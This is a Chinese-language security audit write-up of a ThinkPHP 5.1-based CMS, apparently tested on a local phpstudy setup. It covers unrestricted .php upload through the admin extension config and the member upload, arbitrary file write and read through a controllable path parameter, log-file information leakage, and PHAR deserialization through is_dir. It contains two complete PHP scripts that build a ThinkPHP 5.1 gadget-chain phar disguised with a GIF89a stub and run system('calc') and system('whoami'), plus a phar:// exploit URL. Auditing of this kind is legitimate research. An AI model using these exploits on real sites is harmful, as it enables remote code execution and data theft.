使用phpstudy进行搭建环境,然后进入install目录。
然后输入数据库名和密码。
成功搭建好环境,然后进入后台页面。
首先进入配置-上传,然后发现这里有图片限制类型。
我们继续对这里的文件上传进行代码分析。
接着看这里的上传后缀配置,这里路由中的 .html 后缀是thinkphp中开启了伪静态设置,实际上还是调用了 config() 方法。
这里通过Ajax判断前端的操作,通过 Request::param() 方法统一接收所有上传的参数.
从数据表中可以看出我们的数据已经写进去了。
我们通过抓包分析,发现后台的所有上传功能点都调用了 uploadFile() 方法,Tp的
话上传一般上传文件都会使用 Request::file 来进行接收。
首先获取了config/site.php文件内容,并将两个数据中数组的内容通过array_merge合并。然后获取了我们上面数据库中插入的内容,最后将配置文件与数据库中的内容进行合并
刚开始发现框架还是具有一定的安全性的。
最后就是upload()方法,上面的 filetype 是通过 Content-Type 中获取上传类型的,通过 check() 进行后缀以及大小的检测,其实在调试的过程中还发现了Tp自带的检测,但不影响漏洞利用。
最后调用Local下 upload() 实现文件上传。
这里的文件上传利用起来其实很简单,分为两步。
第一步通过配置将允许上传文件后缀写入数据库
第二步通过后台任意上传点上传后缀.php文件。
发现了 file_put_contents() 函数,瞅了眼路径是admin模块下的也就是后
台功能,跟进该处看看代码是如何构造的。
在代码中发现html参数是可控的,也就是 file_put_contents() 写入的内容是可控
的,前面的htmlspecialchars_decode()是将实体编码后的特殊字符还原,然后在继续看$rootpath参数,向上回溯该参数,在这里最后拼接 $path 参数是通过 param() 传过来的,所以这里 $path 可控。
全局搜索ile_get_contents() 方法,发现和上面的 file_put_contents() 在同一个方法中。
这里可以看到,如果传参方式不是post()则会走else,去直接读取$rootpath,而我们通过上面的分析知道这里的 $rootpath 中的 $path 是可控的,所以这里可以造成任意文件读取。
PHAR反序列化是指攻击者利用PHP Archive(PHAR)文件格式的反序列化漏洞,来执行恶意代码或者获取敏感数据。PHAR是PHP的一种自包含的归档文件格式,其可以存储多个PHP脚本文件和相关资源文件,并且可以被加载和执行。由于PHAR文件格式的缺陷,攻击者可以通过构造恶意数据,触发被反序列化的对象的构造函数并执行任意代码。因此,针对PHAR反序列化漏洞的攻击已经成为了网络安全领域中的一个热门话题。为了防止此类攻击,开发人员需要更新代码以修复漏洞,并加强输入数据的验证和过滤。
攻击者可能利用PHAR反序列化漏洞来实现以下攻击:
利用链使用了Tp5.1反序列化利用链(后续的阶段会对Tp反序列化利用链进行分析),我们将该文件生成phar文件。
<?php
namespace think\process\pipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = [$files];
}
}
}
namespace think\model\concern {
trait Conversion
{
}
trait Attribute
{
private $data;
private $withAttr = ["v" => "system"];
public function get()
{
$this->data = ["v" => "calc"];
}
}
这里生成我们的pahr文件,如果生成时报错了可以将php.ini配置文件中的phar.readonly选项设置为
Off就可以成功生成了。
}
namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
public function __construct()
{
$this->get();
}
}
}
namespace {
$conver = new think\model\Pivot();
$a = new think\process\pipes\Windows($conver);
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
}
?>
可以发现 metadata 部分已经成功序列化并写到文件中。
紧接着下面的 scanFiles() 方法中的 $dir 参数也是完全可控的,所以该处也是可以利用的。
如上我们生成了phar.phar文件,我们将文件后缀改为.jpg就可以成功将文件上传。
由于phar反序列化是不限制后缀类型的,只要可以使用phar协议即可解析,所以我们直接利用上面的漏洞点进行尝试。
查看Thinkphp日志配置文件(/config/log.php),发现默认开启了日志记录
关键的点在:该系统在config/app.php中开启了调试模式
当日志写入开启且 app_debug 调试模式开启时,我们的操作、SQL执行语句、流量等信息都会被记录在日志文件中。所以在当上述条件满足时就会通过日志文件造成信息泄露。
我们访问/runtime/log目录
然后使用burpsuite进行请求:
发现修改日期就可以获取到不同日子的log信息。
进入application/member/controller/Upload.php,发现前台注册个用户后也有个文件上传的功能,然后对其代码进行分析。
发现这个CMS在处理文件上传的时候,基本都是这三行代码进行控制:
跟进一下upload方法就会发现。
进入会员中心,然后进行发布信息,发现有2处上传点。
然后修改png文件为.php,成功进行上传。
接着成功获取到phpinfo信息。
全局搜索is_dir()方法,然后发现scanfile()方法调用了这个方法。
发现在get请求中传入$dir,然后直接一个is_dir成功phar反序列化。
<?php
namespace think\process\pipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = [$files];
}
}
}
namespace think\model\concern {
trait Conversion
{
}
trait Attribute
{
private $data;
private $withAttr = ["lin" => "system"];
public function get()
{
$this->data = ["lin" => "whoami"];
}
}
}
namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
public function __construct()
{
$this->get();
}
}
}
namespace {
$conver = new think\model\Pivot();
$a = new think\process\pipes\Windows($conver);
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
}
?>
改后缀为png然后上传:
访问:http://127.0.0.1/admin/admin/scanFilesForTree?dir=phar://./upload/20230308/1c57fd5e8abbd8ce9e6715c28227a95f.png
进入application/admin/controller/Upload.php,发现uploadFile方法。
跟进$uploadObj->upload方法
发现$this->uploadHandler是这样来的。
默认是local,当然这个配置也可以后台更改。
因此跟进一下app\common\model\upload\driver\local的upload方法,位于application/common/model/upload/driver/Local.php:
直直接一个is_dir,可以phar。至于$uploadPath则是从数据库中直接取出来的,这个可以在后台控制,所以可以成功phar。
先后台修改一下配置。
然后修改使得$this->config['upload_path']为phar。
REF:
https://blog.csdn.net/rfrder/article/details/117818074
https://blog.51cto.com/u_15847702/5800894
https://forum.butian.net/share/1063